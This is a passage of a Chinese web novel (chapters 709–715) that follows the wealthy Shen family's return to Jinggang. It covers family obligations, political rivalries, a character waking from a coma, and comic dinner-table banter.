沈航嘴角发苦,“我曾经也觉得报恩是对的,可是……真的对吗?家里那几个小子谁不是天资聪颖?如果有更好的资源,他们未必不能像兰晞一样,站在那万人景仰的高处。” “您守了五十年,我守三十余年,最后换来的却是随意折磨。” 他指着脸上的伤口,“冰冻三尺非一日之寒,难道您真的要我们这一代人像太奶奶一样,活守八十年,把自己都舍给沈家吗?” “混账!”沈钧顿然恼怒,啪得一声将焊烟重重拍在案几上,“我当初怎么教导你……咳咳你们的!一笔……一笔写……写……” “写不出两个沈……”沈航自嘲,“可是,您看看,我们的沈和他们的沈是一个沈吗?我知道,我说服不了您,以后也不指望您能懂。” 说完,沈航捂着肚子一瘸一拐出了老屋。 沈钧看着地上一摇一摆的影子,神色说不出的悲怆。 空气凝滞了片刻,他幽幽轻叹了一声,又重新拿起案几的焊烟,粗粝的手指颤抖地拨弄散落的烟丝。 一阵风过,烟灰簌簌剥落,露出底下泛着油光的新火。 也是这时,沈钧感觉到头顶覆下一道黑影,他喉结动了动,抬起头,“怎么又回来……” 话说到一半忽然顿住,因为眼前的人并不是去而复返的沈航,而是本应该在老宅主持宴席的沈庄。 沈庄手里提着两坛泥罐子封的老酒,“谁回来?想孩子们了?” 沈钧立马收敛了神色,站起身,“你怎么来了?” 沈庄招呼他坐,环顾一圈略有些不悦,“太奶奶走得安详,也算了却我一桩心事了,老宅空着也是空着,你就搬过去住吧?” 早些年沈庄就劝过沈钧,但沈钧死活不愿意,在他的观念里,老宅是沈庄的私产,他若住进去,后代们不明事理争执起来,只怕会有误会。 为了避嫌,沈钧一直住在这栋老屋里,他怀旧,不愿破坏老屋结构,空调电视机什么先进设备都没有,也就是为了方便联系沈庄,家里才有个老式电话,除此之外,屋里冷冷清清。 沈钧摆摆手,“我老了,住在这几十年了,搬去老宅不习惯。” 沈庄早猜到他会拒绝,解开封坛递上酒,说道,“我知道你顾念什么?我已经让人拟好了地契,以后那宅子就是你的了。” 沈钧愣了愣,站起身,训斥道,“没规矩!那可是你家的祖业,你也不怕沈家列祖列宗托梦找你?!” 沈庄一脸淡定,“自我祖父一辈,家业就已经迁往鲸港,如今太奶奶不在了,我也没有牵挂了,你守了五十年,什么恩都还完了。” 沈钧忽然想起沈航的混账话,无地自容,眼眶微热,“说这些做什么?” 沈庄将一坛子酒递给他,“我早就想好了,老宅半山后面还有几百亩地,也一并划给你,以后不管你是要收租还是自用,子孙后代吃穿是不愁了。” “沈家要想香火鼎盛,靠的是代代相护,我跟兰晞交代过了,以后等他支撑了家业,不能断了咱们这一代的联系,家里但凡有天资的孩子,不管是从商从政,嫁人收赘他都得看顾。” 沈钧声音哽咽,别过头不说话只抹泪。 沈庄看着好笑,打趣道,“怎么还哭上了?咱俩到底谁是哥哥?” 沈钧酒坛子猛灌了一口,“老宅我不要,其他的我收了,初棠你放心,我一定替你守好沈家。” 初棠是沈庄的小字,除了亲近之人,鲜有人知。 故人一诺,重比千金。 …… 第710章 抽丝剥茧 老宅这边。 高止悄咪咪躲在圆柱后偷瞄沈兰晞。 檐角挂着一盏老式风灯,昏黄的光晕被藤蔓枝叶筛过,落下碎金般流光。 沈兰晞就站在台阶前,平日里轮廓分明的下颌线,此刻在光影里似乎柔和了几分,像被水洇开的墨迹。 他被沈谦灌了不少酒,面颊上浮着一层几不可见的绯色,酒色并未使他浑浊,反而像一层薄纱,朦胧地笼罩着他。 高止从左边换到右边,从上面看到下面,直觉告诉他,眼前的沈兰晞跟以前大不相同。 “少爷~~”他小心翼翼探着脖子,“夜都深了,老爷子兴许今晚跟老伯公聊得开心就不回来了,要不,咱们回去吧?” 沈兰晞充耳未闻。 得了,高止耸了耸肩,那晚炮仗好像真把菜鸡炸出毛病了,这一年,他动不动就神游太虚。 也不知道要等到什么时候,高止有些无聊,干脆打起了盹。 星光从头顶徜徉而过,蝉鸣蛙叫不绝于耳。 “那边。郑松,你的记性怎么比我这老头子还不好?” 远远地,隐约传来沈庄的声音。 沈兰晞抬眸,快步走出庭院相迎。 沈庄和沈钧聊得尽兴不免多喝了几杯,眼里已经略微有些醉意,远远瞧见沈兰晞,立马又强打起精神,招手示意,“兰晞,你怎么还在这?等爷爷?” “嗯。” 沈兰晞主动上前搀扶,郑松便自觉退到了身后。 “爷爷,叔父们我都已经安排人送回去了,乡亲们的谢礼也都发下去了。” 沈庄点头,轻轻拍了拍沈兰晞的手背,“就为了这点小事等爷爷?赶紧回去休息,这几天你也累坏了,爷爷都看在眼里。” “爷爷,还有一件事。”沈兰晞撩眸看了沈庄一眼,安静了片刻,开口道,“是关于二婶娘的。” 沈庄皱眉,因着酒劲上头一时没想起哪个二婶娘。 沈兰晞低声解释,“是堂二伯家的媳妇。” “哦~是她啊。”沈庄恍然,不解看着沈兰晞,“阿文的媳妇怎么了?” 沈兰晞,“二婶娘说,小秀去年考上了军医大,但二伯说女孩子从军没有前途,要求堂妹转去北湾读护理专业,堂妹不愿意,伯父撂下狠话说是不愿意就嫁人。” “胡闹!”沈庄细细思索片刻,立马察觉出了不对劲,“去年的事,那岂不是已经成了定局?沈钧怎么回事?这事都不管?” “二婶娘说,伯父不准她们对外说,要表妹自己认下换学校的事,伯父还威胁她们,要是不听话就回老宅一辈子不许出去。” 这话犹如不记重锤死死敲在沈庄心口,沉默片刻,沈庄抬眸看向沈兰晞,“你二婶娘找的你?” 沈兰晞点头。 “既然她找了你,你打算怎么处理?” 沈兰晞,“清官难断家务事,我先联系堂妹,看看她的意愿是否有改变,若是她已经接受了现在的安排,等她大学毕业,我会替她安排一份远离二伯操控的工作。” “要是那丫头,还想从军做军医了?” “我会送她回归正轨,至于伯父那边,无非是名利钱财,我会让他满意。不过……”沈兰晞脸色淡漠,“教训也是不可免的。” 沈庄站定,十分欣慰拍了拍沈兰晞的肩膀,“不错,越来越像样了。” 沈兰晞微微低头,“爷爷,你休息吧。” 沈庄点头,“去吧。” 沈兰晞转过身,刚走出一步,忽然想到什么,回头看向沈庄,“爷爷,听说衫衫和绥尔是因为行为无状被您罚来老宅学规矩的,既然是学规矩,您怎么没有安排二婶娘教导?” 沈庄愣了愣,“你怎么突然关心起这个?” 沈兰晞,“我是替二婶娘问的,她担心您是不是对她有误会?” 沈庄失笑,“不至于。当时恰逢和傅家博弈,让衫衫和绥尔来襄英明面是处罚,实际是保护绥尔。既然是幌子,自然用不着真的学规矩。别说阿文媳妇,就是你武太奶,我也事先打过招呼了,走走过场别真的拘着她们了。” 如果是这样,那太奶奶临终前说的‘太过严厉’又是什么时候? 沈兰晞眸光微黯,扯着嘴角笑了笑,“原来是这样。” 沈庄只当他说的是眼前这件事,摆摆手,“这件事你知道就行了,阿文媳妇那边随便找个理由把事情说清楚。” “知道了。” 沈兰晞低声应下,微微颔首,出了院子便径直转去了自己的阁楼。 高止畏畏缩缩跟在身后。 穿过又长又暗的青石弄堂,阁楼小屋近在眼前。 沈兰晞推开院门,屋里早已有人久候多时。 “兰晞。”二婶娘迫不及待迎上前,布满皱纹的眼角隐隐带着几分期盼,“怎么样?” “事情已经在老爷子那过了明路,后续的事婶娘不用担心。” 沈兰晞绕过她,坐进角落的檀木椅里,他的背脊挺直,周身仿佛隔着一层无形的冰障。 二婶娘喜不自禁,小心翼翼跟了上去,“你的恩情我一定铭记于心,你放心,你叮嘱我的事我都记在心里。” 沈兰晞抬眼,眸底像冬日结冰的湖面,“你跟着姜花衫有没有看到什么?” 二婶娘虽然不知道沈兰晞为什么这么在意姜花衫,但还是小心应答,“我才跟到二园就跟丢了?” “你跟丢了?”沈兰晞皱眉。 二婶娘以为他对自己不满,连忙解释,“那丫头很警惕,比我还熟悉老宅,我……” 沈兰晞不想再听,淡淡道,“时候不早了,二婶娘回去吧。” “好。”二婶娘不敢在这个时候惹沈兰晞不快,连忙应口,转身出了院子。 沈兰晞抬眸,目不转睛看着天上的月亮。 莫名他又想起来当年初见时,姜花衫骂他的那句话。 -“沈兰晞,你是不是拜佛拜傻了?一点慈悲之心都没有?活该你孤家寡人,老婆移情别恋跟别人跑了,二十七岁还是童子鸡!!!” 这声音不断在拉扯,千丝万缕的头绪一根一根被扯断。 早在一年前,二婶娘主动找到他,告诉他老宅中可能出现了叛徒,她以此为橄榄枝,希望能救她的女儿。 这一年,二婶娘已经成为了他埋在老宅最不起眼的暗线。 既然二婶娘是他的人,他怎么会让他的人去规训姜花衫呢? 忽然,沈兰晞眸光僵滞,搭在扶手的指尖微微收拢。 在那个时空,‘他’对‘她’跟不好,所以再见面,她避他如蛇蝎,弃他如敝履。 …… 第711章 鲸港风云起 武太奶落叶归根,沈庄第二天便张罗一大家子准备回鲸港。 沈钧知道留不住,大清早准备了一车家乡土货,还劝说让沈庄别种花了,种点家乡的菜留个念想。 沈庄拗不过,只能空出一辆豪车装这些农货蔬菜。 郑松抓起地上的老鹅,手劲太狠差点掐断老鹅的脖子,看得沈钧直呼心疼。 “你轻点,这可是养了五年的老鹅!” 这可有些为难郑松,这么细长的脖子,就算再轻也不过是两指的功夫。 姜花衫幽幽飘过,“爷爷,让高止去弄吧,他最喜欢小动物了。” 高止原本蹲在路边逗狗,听见姜花衫的举荐,二话不说起身就要走。 沈兰晞跟背后长了眼睛似的,冷冷道,“高止,去帮郑松。” 高止气得肩膀直抽搐,隔着墨镜狠狠瞪了沈兰晞一眼。 好啊!昨晚坐在院子吹了一夜的凉风,还以为他悟到了什么惊天秘诀?搞了半天竟然是当舔狗! tUi!我辈耻辱! 高止高冷飘过,高举双手,撸起袖子,“要不说还是姜小姐看人就是准……” 只可惜,姜花衫没空搭理他,正和族里的小姑娘们聊得火热。 高止撇了撇嘴,老老实实抓鸡抱鹅。 “姜花衫,你以后还来老宅玩吗?” 因为太奶奶的缘故,这几日沈家族人基本都回来了。那天,姜花衫和沈清予在武太奶的院子里大杀四方,名声算是传出去了,有人厌恶自然也有人无比喜欢。 姜花衫不想搪塞她们,认真想了想,摇头,“可能没什么机会了。” 太奶奶已经不在了,她对老宅仅存的美好回忆就剩那片禁地的星空了。 但美的是星空不是禁地,星空以后她去哪都能看,对于这里她已经没有半点留恋了。 “啊?”女生们有些失望。 姜花衫回头看了沈庄一眼,思忖片刻,笑道,“我不来,但你们可以来鲸港做客啊?到时候带你们去沈园抓鱼。” “好。一言为定。”她们不一定会去,但得了一个承诺还是很开心。 在小辈中,最醒目的还是沈兰晞,几乎所有前来送行的人都会上前和他搭话,作为家族担当,沈兰晞挑不出半点错,是把名门大族的礼节做到了极致。 最后,一行人在全族的殷切目光中踏上了回鲸港的路。 回程路上,沈娇特意安排姜花衫、傅绥尔、沈眠枝和小可怜同一车,没有人打扰,三个人女生叽叽喳喳说了一路。 相比起来,另一车的气氛就有些古怪。 沈兰晞生人勿近看着窗外。 沈归灵专心致志盯着手机。 沈清予翘着二郎腿,一会儿看看大傻,一会儿看看二傻。 还以为这一年他足够成长了,没想到这两个狗东西也变得狗模人样了。 小辈的相处风格各异,但沈庄这边却又是另外一番场面。 沈谦正襟危坐,“现在起诉教育部、警署厅和A国当局的案子还在法院压着,国会的意思是等民众的愤怒值平息了再公开审理,或者,不公开审理。如果我这个时候回去,还能赶上下午的会议,爸,觉得呢?” 襄英短短半个月,鲸港已经上演了几轮波诡云谲的政治博弈。 首先是以韩家为首的财团势力集体罢工,控诉司法包庇。 这些财团几乎渗入的民生百态,停业罢工这么激进的手段很快挑起了各个阶级之间的矛盾,现在A国当局,以余斯文为首的总统党,陷入了前所未有的质疑风波。 紧接着,余笙在鲸鱼岛事件的完美发言也出现了致命反转,某知名电台女主持人放出了余笙为暗恋者写的卑微求爱情书,揭露余笙是个借着女权上位,实则是个爱男媚男的无知小女人。 不仅如此,这位女主持人有理有据整理出了余笙几十场公开演讲的时间线,指出她是个喜欢善用热点炒作自己的伪高知,她的每一场演讲并不为女权,为的是给她的总统父亲铺路。 到目前为止,余家一直处于受制状态,对方猛攻不断。 这一局,目前暂时与沈家无关,但沈家的态度却很重要,这期间余斯文和财团那边的电话一直都没有停过,沈庄从未回复。 现在要回去了,这清闲是躲不掉了。 沈庄,“小小一个韩家还不至于敢起诉在职总统,这事先弄清楚到底是几方发力,再者,国会议程走一两天不是很正常?先看看关楼是什么态度再说?” 对于这种政治决策,沈谦从不会忤逆沈庄,连忙点头应道,“好。” 沈渊是生意人,一听说韩家企业集体罢工,立马来了兴趣,“我早就看上了韩家那几家电视台,既然他们罢工,不如我把这块蛋糕吃了?掌握了信息主权,以后不管是哪家上位,都不好得罪我们。” 沈谦不语,不动声色看向沈庄。 沈庄沉吟片刻,点头,“这倒是个好主意。韩家那老东西真是越活越回去了,就算他要替孙子讨回公道,也没必要把老百姓拉扯进来。现在看来,他韩家还不够格担起这份大任。” 当初他为了逼周家低头,的确也用了些手段,可那毕竟都是口头威胁没有落到实处。 现在韩家竟然真为了一己私欲卸下国家重担,委实有些上不了台面。 沈渊顿然大喜,还以为自己又要讨顿教训,没想到竟然被认可了。 他连忙趁热打铁,“爸,您要同意了,我现在立马着人去办。” 沈娇见状,默默凑上前,“爸,一家独大难免招人觊觎,老二的产业已经够多了,哪能顾及得来?要不然还是让我来吧,我顺便再给衫衫和绥尔凑份嫁妆?” 天下竟然还有这么厚颜无耻的人? 沈渊气极,“你瞎凑什么热闹?你那些家底,她们两个招赘都够了。爸,您别听她的,论做生意,还是得看我的,是不是啊大哥?” 给姜花衫准备的彩礼?只要他儿子给力,那岂不是以后都是他的? 沈谦细细想了一下,转头看向沈庄,“爸,给阿娇吧。” 沈渊想当然以为沈谦一定会帮他,没听清楚就跟着点头,等回过神一脸诧异,“你……你说什么?给谁?” 沈谦拍了拍沈渊的肩膀,“凡事还是得看的长远些。” “……” 沈渊一脸费解,长远在哪? “够了!”沈庄淡淡打断几人,斜睨了沈娇一眼,“这笔买卖你们都不许沾手。” 车里的人同时一愣。 沈渊,“爸,这么好的机会,咱们要是不出手,岂不便宜的别人?” 沈庄气定神闲,“国之命脉不能握在一家手里,谁有能力谁去吃,若是没有能耐,就等着被人吃,古往今来权势、买卖都是这个道理。” 沈娇神情微动,忽然明白过来,“爸,您是不是猜到谁会接盘了?” 沈庄摆摆手,示意不必再提,又问道,“周家那小子现在什么情况啊?” …… 第712章 危机苏醒 【叮——】 【剧目提示:沈眠枝个人剧目触发条件达成,正在为您加载剧目。】 【叮——】 【加载完成:当前剧目进度53%。】 【温馨提示:若在终章剧目审判存活,人物可斩断枷锁,重开剧目。】 姜花衫和傅绥尔、沈眠枝聊得正起劲,忽然,脑子里响起一连串的提示音。 她嘴角的笑意霎时凝固,表情微怔。 沈眠枝立马察觉出了她的异样,一脸关切,“怎么了?是不是哪里不舒服?” 姜花衫弯起嘴角,毫不破绽衔接好脸上的表情,“没什么,就是感觉刚刚心跳停了一下。” “真的假的,你可别吓我。” 傅绥尔警铃大作,刚站起身又被姜花衫拉回了座位。 “已经没事了。刚刚说到哪了?继续啊~” 傅绥尔盯着她看了一会儿,确定没什么问题后才又笑着说道,“听舅舅说,关鹤被找到的时候已经神志不清,一心只想着怎么让他六十岁的父亲给老关家留个火种,大笑子啊!!!” “哈哈哈哈哈……” 一车的笑声是对关鹤无情地嘲讽。 姜花衫捂着肚子,“关家老头儿不是把关鹤当命根子吗?关鹤被我丢进水里,他就没找沈家要个说法?” 沈眠枝,“关鹤对自己为什么会绑在礁石毫无印象,而关楼手里又有绑匪的勒索视频,若没有暗堂,关鹤的下场只会跟韩洋一样,比起救命之恩,你那点戏弄之辱算不得什么?” “这样啊~”姜花衫笑了笑,转头看向窗外,“这么看,还是欺负关鹤比较有成就感。” 不像某个祸害,这都死不了。 剧目一下过半,说明有人已经按耐不住了。 沈眠枝跟着笑了起来,忽然,她想到什么,强行抿直嘴角,轻叹了一声,“不知道阿珩哥现在怎么样了?” 傅绥尔原本还笑得挺开心,不防沈眠枝突然恋爱脑发作,嘴角抽搐,“好好的,能不能别提这么扫兴的话题。” 沈眠枝,“你对阿珩哥有偏见。” 傅绥尔,“别说了,再说我对你也有了。” 沈眠枝,“……” 傅绥尔冷着脸,回头向姜花衫求助,“你快骂她,把她骂醒。” 姜花衫摇头,目光与沈眠枝对视,“光骂可不行,这病要根治得脱骨换皮,向死而生。” 沈眠枝,“……” 傅绥尔轻咳了一声,拉了拉姜花衫的胳膊,“也别这么血腥,骂两句算了。” * 鲸港协和医院。 “滴——滴——滴——” 屏幕上的绿色峰值线上下跳动。 病床上的人眼睑一直在抖动,颤了许久,终于掀开了一道缝隙。 大片光线从头顶落下灌入眼球,就像一场猝不及防的侵袭,周宴珩极度不适,但却只是轻微眯了眯眼。 视线慢慢聚焦,他终于看清围绕在床前的人影。 “阿珩?你怎么样?感觉怎样?”周元正一脸紧张。 周夫人则是泪眼婆娑,喜不自禁。 周宴珩的思绪还有些迟缓,耳边似乎还能听见涨潮的浪涌声。 他沉默着看着眼前的白色床单,脑海中的不断闪过一帧一帧破碎的记忆。很快,这些记忆被一并打破又在脑海里重新组成了有序的片段。 他被沈归灵暗算抛入深海,与鲨鱼恶斗险境重生,上岛后得沈眠枝悉心照顾,最后一把熊熊烈火烧穿了天…… 周宴珩的瞳孔微微收缩,如黑曜石的眸子因为初醒蒙着一层薄薄的水光。 他忽然想到什么,正要抬手,肩膀忽然传来一阵锥心的刺痛。 他咬了咬牙,生受了这痛,胳膊刚抬起半寸,肩上忽然压下一道不轻不重的力。 周国潮不知什么时候走到了床边,语气温和:“放心,四肢都在。你说的,宁死不做残废,爷爷都记着。” 当初情况危急,医院下达了病危通知书,要求家属签署截肢协议,是周国潮守着与周宴珩的约定,要求医生做不截肢治疗,哪怕周夫人跪在重症室外苦苦哀求,周国潮仍旧一意孤行。 手术完成后,周宴珩就陷入了昏迷。 这半个月,周家人每天都在水深火热里煎熬,尤其是周国潮,没日没夜守在病床前,如果周宴珩醒不来,他就成了杀死亲孙的罪魁祸首,但万幸,周宴珩还是醒过来了。 “臭小子,这次是真的吓到爷爷了。” 周国潮满是皱纹的眼底血丝纵横,他轻轻拍了拍周宴珩的肩膀,眼里终于有了笑意。 周宴珩神情微动,几乎麻木的眼神微微泛起了涟漪。 * 周宴珩的苏醒成了协和医院的第三大奇迹,而笼罩在周家上空半月的阴云也终于退散。 下午,得了周家的允许,乔金锦推着关鹤到访。 关鹤休养了半个月,伤情好了一大半,见了周宴珩先是大哭,然后是大骂,最后是大笑。 乔金锦怕他被周家人赶出去,一把捂住他的嘴,扔给他一个苹果,“不知道病人不能吵吗?少特么叽叽歪歪。” 这话一下触及到关鹤的敏感神经,他立马拿起苹果砸了回去,做了个顶胯的动作,“你才叽叽歪歪,老子他么是‘叽叽向上’!” 乔金锦,“……” 关鹤原本还有些不服气,转眼见周宴珩神色恹恹,立马收敛的神色,“阿珩,你没事吧?” 周宴珩掩下眼底的幽光,转头看着他,“你刚刚说,地下城的秘密被你爸发现了?” 关鹤咽了咽嗓子,有些不敢看周宴珩的眼睛,“对不住啊阿珩,我……我当时出现幻觉了,就……” 周宴珩打断他,“我昏迷这半个月,鲸港发生了什么?一五一十说清楚。” …… 第713章 我会夺走他的一切,包括你 窗外的天色已由灰蓝渐渐褪成浓墨,白炽灯的光影在纯白的病房里切割出明暗交错的线条。 周宴珩穿着宽大的蓝白条纹病号服,领口松散地敞开两颗扣子,露出一段清晰苍白的锁骨。 他不知道在想什么,修长的手随意搭在纯白的被面上,指尖无意识轻点着。 周国潮推开病房的门,最先映入眼帘的就是这一幕。 他沉默片刻,掩上门,慢慢走到床前。 感觉到身边有人靠近,周宴珩指尖微顿,停在空中。 周国潮扶着床边的椅子坐下,语气随意,“你才刚醒,什么事都等养好了身体再说。” “爷爷。”周宴珩缓缓抬头,转头看向周国潮,“地下城的事,您也知道了?” 久未开口,他的声音显得沙哑、虚弱。 周国潮沉默片刻,点了点头。 “关楼当时拿着那一沓资料找我时,我还真吓了一跳。” 周宴珩看着周国潮,没有接话,直到周国潮笑着补充道:“你小子,倒是比我想得更有能耐。” “呵……”周宴珩扯着嘴角笑了笑,面色平静,“但您还是抹去了我的所有手笔?” 周国潮轻轻摩挲手里的天珠,语气甚是随意,“关鹤告诉你的?早知道他嘴巴这么多,就不该让他这么早来见你。不过,经此一事,爷爷也算看出来了,那小子对你倒是真心。” 不管是地下赌场还是用活人做游戏,哪一个暴露在大众之下都是有可能万劫不复的隐患,这次之所以能抹除得这么快,还是关家和周家一起出手的结果。 他们联合将矛盾转移给余斯文,趁着民众的火力都瞄准A国当局时,神不知鬼不觉将这见不得人的买卖清除得一干二净。 至于那里面的巨额资产,早就已经通过专门手段洗干净了,而关家这次之所以不遗余力,也是因为关鹤一口咬定这件事自己是第一主谋,关楼没办法,只能背下这一口黑锅。 周宴珩,“就算不用你们出手,我也有办法把这事盘活。” “我知道。”周国潮点头,“你的确会有办法,像傅家一样弄个招商,然后问政府要地。你要是野心大一点,把鲸港临湾那边海域也拿了,围港填海弄个小鲸港,到时候效仿M国的拉斯港,让黑产合理化,名利双收也不过迟早的事。” 通常以这样的谈话开头,必然还有下半段,周宴珩没有反驳,反问,“所以,您为什么要抹除它?” 为了这个计划,他已经努力了三年。 周国潮摇了摇头,“阿珩啊,你还真是聪明一世糊涂一时,你这计划耗时太长,且不论政治风向是否如你所愿,就算你真做成了,你帝国也只能被称为小鲸港,你竟然有这么本事,为什么不去上面争?” 周宴珩缓缓抬眸,浓墨的眸底泛起一圈涟漪。 “爷爷不是不让我插手家族的事吗?” 周家的规矩,只有掌权者交接,周宴珩才有资格真正触及家族的资源。 周元正也就是周宴珩的父亲,春秋鼎盛又身居高位,如果以周家家族惯例来看,周宴珩或许要再等二十年甚至三十年才有机会真正掌控周家。 这对周宴珩来说太久也太无趣了。 他要享受的是当下的人生,四五十岁都快成糟老头了,再有权势还能玩什么? 但周元正尚且还算个合格的父亲,周宴珩也没有杀父夺位的心思,所以才自己动手去外面抢资源。 周国潮指尖一顿,手里的珠串发出清脆的响声。 “那是以前。” 说完,他缓缓站起身,迟疑片刻沉声说道,“那些钱我分文未动已经转到了你的账下,我跟你父亲商量过了,等你伤好了就去北湾,那里都是周家依附,你先去熟悉一下。” 这是要放权的意思。 周宴珩略有些诧异,“父亲同意了?” 周国潮轻轻拍了拍他的肩膀,“你父亲才是你的第一监护人。” 若是没有周元正的默许,即便是周国潮一意孤行也没有用。但周夫人跪在重症室前苦苦哀求,周元正只能退居身后,让周国潮承担了所有。 周宴珩瞬间就明白了这话的未尽之言,神色沉默。 周国潮转身,忽然又想到什么,侧过身,“还有一件事,你说你上岛时就在荒岛摆下了求救信号,但是我已经跟底下的人确定过了,现场并没有发现你留下来的记号,这是怎么回事?” 周宴珩眸光微动,半晌后,他笑了笑,抬起头,“那……就是我记错了。” “记错了?”周国潮皱眉,一脸狐疑。 “可能是刚刚醒,把梦境和现实弄混淆了。”周宴珩语气寻常,“对了爷爷,在荒岛时多亏了沈眠枝,不然……我或许已经死了。沈家,是不是该好好谢谢?” 周国潮深看了他一眼,但也没看出什么不妥,点头道,“礼数上是该谢的,不过这事也不急,你伤好了再说。” “好。” 等周国潮出了房间,周宴珩脸上的笑意瞬间消散,随手拿出藏在枕头下的手机,指尖点了点,界面一晃进入了聊天室。 七人群从鲸鱼岛事件后就一直没有人说话,反倒是管理员发了几条消息。 -【管理员:没把握的事好玩吗?】 -【管理员:早提醒过你,别把自己玩进去了,这么看,下一个出局的人就是你了。】 -【管理员:?】 -【管理员:死了?】 周宴珩吊梢着眼角,现在,他最大的把柄已经被洗干净了,相反,他手里可握着沈年一手的罪证,随便一条都能让他万劫不复。 他指尖轻点: -【Z:沈年,我限你一个月之后滚回A国,不然,我会亲自去沈园拜访沈家老爷子。】 周宴珩按灭手机,抬头看向窗外的月色,片刻后又点亮屏幕,找到被冷落很久的邮箱。 -【告诉沈归灵,他的一切我都会夺走。】 …… 第714章 先夺走他的粑粑 沈园。 难得一家人齐聚,沈庄安排所有人在主厅用餐。 姜花衫正吃地开心,手机突然跳出一条消息。 邮件人的署名正是周宴珩那个坏批。 要是平时她不会理会,但现在还处于沈眠枝的个人剧目中,这条消息不免引起了她的好奇。 姜花衫故作不经意,随意拿起手机,点开消息时皱眉不觉拧成了一团麻花。 -【告诉沈归灵,他的一切我都会夺走。】 “……” 你自己不会去说?! 姜花衫抬眸看向对面的沈归灵,赶巧沈清予和沈兰晞也在一个方向,她视线刚落下,对面三人不约而同抬头,视线交汇落了过来。 “……”姜花衫生怕被人看出什么,眼睛抽了抽,立马转头看向别处。 调动幅度太大,连沈庄都发现了。 “怎么了?吃个饭东张西望的?这个时候谁给你发消息啊?” 姜花衫笑了笑,转手指着桌上的一盘黑黢黢的菜,“爷爷,这是什么?” 沈庄,“干巴菌,这个时节老宅后山遍地都是。样子虽然不好看,但味道鲜美,尝尝?” 由于沈钧太过热情,今日桌上的菜肴都是襄英那边的特产。 姜花衫举起手机,“我还没见过,拍个照做纪念。” 虽然沈庄不知道一盘丑蘑菇有什么好拍的,但还是帮着把干巴菌转到了姜花衫面前。 “谢谢爷爷。” 姜花衫拍下之后,顺手点击发送。 -【这是沈归灵的屎,你也一起夺走吧!】 发送! 她刚拍完,沈谦笑呵呵道,“说起来,以前伯父还总是带着我上山摘菌子,好久没有尝到家乡的味道了。” 姜花衫盯着眼前黑菌沉默了几秒,二话不说把菜转到了沈谦跟前,“大伯你喜欢就多吃点。” 沈谦愣了愣,在此之前姜花衫哪里给过他好脸色,今天怎么变了性子? 他下意识觉得可能是蘑菇里面有毒,但老爷子在场应该不会。 忽然,沈谦想到什么,若有所思看向沈归灵,难不成是阿灵做了什么,这死丫头爱屋及乌才来讨好他的? 傅绥尔没看懂,一把拉过转盘,“什么东西?黑黢黢的跟那什么……好吃吗?我尝尝……” 她刚提起筷子,姜花衫又转了回去,“给大伯吃,他刚还说怀恋了。” 沈谦不免有些受宠若惊,装模作样夹了一块,慢慢咀嚼。 “嗯,还是那个味。”说着,又夹了一筷。 对面三傻神色各异,一脸狐疑看着沈谦面前那盘菜。 有毒?! 傅绥尔拉了拉姜花衫的胳膊,低头凑上前,小声道,“那是什么?为什么不给我?” 姜花衫捂着嘴巴,悄咪咪,“沈归灵的屎……” “噗!” 傅绥尔一时没忍住,喷了出来。 沈娇额角抽搐,略带警告瞪了两人一眼,“吃饭。” 傅绥尔勾了勾脖子,转头再看沈谦吃干巴菌,只觉又恶心又开心。 姜花衫凑上前,“是不是很有趣,这就叫精神胜利法。” 傅绥尔默默对她竖起了大拇指,“好玩~” 就在这时,莫然忽然从院外走了进来,在郑松耳边说了什么。郑松点头,立马走进主厅,弯腰在沈庄耳边小声说了几句,沈庄放下筷子,转头看向沈谦。 “姚公馆那边出了点事,你们两个过去看看吧。” 沈谦和沈归灵立马放下筷子,起身出了主厅。 沈庄虽然没说什么事,但一定跟姚歌有关,桌上的人心知肚明只当不知道,继续吃饭。 傅绥尔抬头瞄了瞄,趁大家不注意把那盘干巴菌转到了沈渊面前。 沈渊愣了愣,略有些诧异看着傅绥尔。 傅绥尔,一脸殷勤,“二伯,吃屎。” 姜花衫:“……” 顿然,气氛陷入了诡异的死寂。 片刻后。 “哈哈哈哈哈哈……” 沈清予瞬间理解了姜花衫的殷勤,放下筷子捂着肚子大笑不止。 沈兰晞原本要夹另一碟干巴菌,默默收回了手。 * 另一边。 沈谦刚出了主院,脸色便沉了下来,不耐烦扯下领带,“那个疯女人又闹什么?” 莫然低着头,“夫人听说武太奶下葬,阿灵少爷跟去守陵,发了好大一通脾气,看顾的阿姨说夫人不仅打人,还把家里的东西全都砸了。” 沈谦闭了闭眼,现在他已经无比后悔当初放权给姚歌,让她干涉南湾的政事,否则也不至于想离婚离不掉。 莫然,“夫人说,她今天一定要见到您,不然就……” “就什么?”沈谦隐忍着怒火。 莫然小心翼翼,“不然就鱼死网破。” 沈谦的呼吸明显粗了几分,眼里的厌恶隐隐有按耐不住之势。 沈归灵掐准时机,主动开口,“爸,阿姨的愤怒因我而起,还是让我去处理吧?” 姚歌手握沈谦命脉,光是一点愤怒还不至于让沈谦失去理智,所以沈归灵要做的就是不断磨砺沈谦对姚歌的耐心,等到有一天沈谦忍无可忍,姚歌的死路就算铺垫好了。 沈归灵的建议完全提到了沈谦的心坎上,他现在对姚歌没有半点情分,根本不想上门找恶心。 但若是应的太快,又有卖儿子的嫌疑。 沈谦缓和了脸色,“这样会不会太委屈你了?” 如今他是真心把沈归灵当成自己的接班人,免不了会酌情考虑他的感受。 沈归灵摇头,“不会,只要能为父亲分忧,一点点折辱不算什么。” 沈谦眼里的赞许几乎要溢出眼眶,重重拍了拍沈归灵的肩膀,“好。你的孝心爸爸都记在心里。爸爸答应你,等我把南湾那些事都处理干净,姚歌以后就任由你处置。” 沈归灵,“不管怎么样,她毕竟是阿年哥的生母,冤家宜解不宜结,爸爸放心,我会好好劝劝阿姨的。” “哎。你啊就是太善良了,也不知道像谁!”沈谦感慨万千。 “……”莫然额角抽搐,有些同情默默看了沈谦一眼。 …… (不要走开,还有一章) 第715章 隔空较量(周年加更) 姚公馆。 空旷的主厅满地狼藉,看顾的阿姨直接躲在厨房装死。 姚歌披头散发,穿着一身黑色的丝绸睡衣,手里夹着一根香烟,赤着脚在一片狼藉中散步。 碎裂的瓷器刮破她的脚踝,她也完全不在意,在别人眼里她是疯子,但在她自己的眼中,她一直都是女王。 “叮咚——” 屋里的门铃一响,姚歌立马停止巡视,转身坐回沙发,双腿交叠,神情傲然。 阿姨对让她这抽风的样子已经见怪不怪,小心翼翼推开厨房门,捂着偷偷包扎好的伤口跑去门外。 姚歌轻轻吐了一口烟圈,静等客人。 没一会儿,朦胧的白烟里终于出现一道身影。 主厅中心挂着一盏巨大的水晶吊灯,千万颗切割完美的水晶棱镜折射着璀璨的光华,将整个奢华到近乎空旷的客厅笼罩在一片冰冷而辉煌的光晕里。 